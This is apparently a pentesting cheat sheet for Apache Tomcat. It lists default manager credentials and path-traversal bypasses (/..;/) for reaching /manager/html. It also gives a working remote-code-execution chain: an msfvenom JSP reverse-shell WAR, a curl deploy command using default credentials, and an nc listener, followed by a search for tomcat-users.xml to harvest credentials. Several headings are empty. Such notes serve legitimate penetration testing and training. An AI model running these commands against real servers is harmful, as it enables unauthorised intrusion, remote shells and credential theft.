Apache Tomcat

Theory

Apache Tomcat (called "Tomcat" for short) is a free and open-source implementation of the Jakarta Servlet, Jakarta Expression Language, and WebSocket technologies. It provides a "pure Java" HTTP web server environment in which Java code can also run.

Practice

Enumeration

Fingerprinting

We can attempt to trigger an error on the website as a method of fingerprinting. If the error is similar as the one below, this indicates that the website is running Tomcat.

$ curl http://target.com/DoesNotExist

Version Identification

Manager Files Location

Username Enumeration

Credentials

Default Credentials

The /manager/html directory is particularly sensitive as it allows the upload and deployment of WAR files, which can lead to code execution. This directory is protected by basic HTTP authentication, with common credentials being:

admin:(empty)
admin:admin
admin:password
admin:password1
admin:Password1
admin:tomcat
manager:manager
root:changethis
root:password
root:password1
root:root
root:r00t
root:toor
tomcat:(empty)
tomcat:admin
tomcat:changethis
tomcat:password
tomcat:password1
tomcat:s3cret
tomcat:tomcat

Brute Force Attack

Common Vulnerabilities

Path Traversal Exploit

In some vulnerable configurations of Tomcat you can gain access to protected directories in Tomcat using the path: /..;/

So, for example, you might be able to access the Tomcat manager page by accessing: www.vulnerable.com/lalala/..;/manager/html

Another way to bypass protected paths using this trick is to access http://www.vulnerable.com/;param=value/manager/html

Password Backtrace Disclosure

Double URL Encoding

/examples

Remote Code Execution (RCE)

Uploading WAR file

If you have access to the Tomcat Web Application Manager, you can upload and deploy a .war file (execute code).

You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script).

First create a war file using Msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<local-ip> LPORT=80 -f war -o shell.war

Then upload this file.

curl --upload-file shell.war -u 'tomcat:password' "https://example.com/manager/text/deploy?path=/shell"

Start a listener in local machine.

sudo rlwrap nc -lvnp 80

Now access to https://example.com/shell. We should get a shell.

Post-Exploitation

Crential Access

If we are in the target system, we can retrieve information about credentials.

find / -name "tomcat-users.xml" 2>/dev/null
cat tomcat-users.xml

Resources

Page not found - HackTricksbook.hacktricks.xyz

https://exploit-notes.hdks.org/exploit/web/apache-tomcat-pentesting/exploit-notes.hdks.org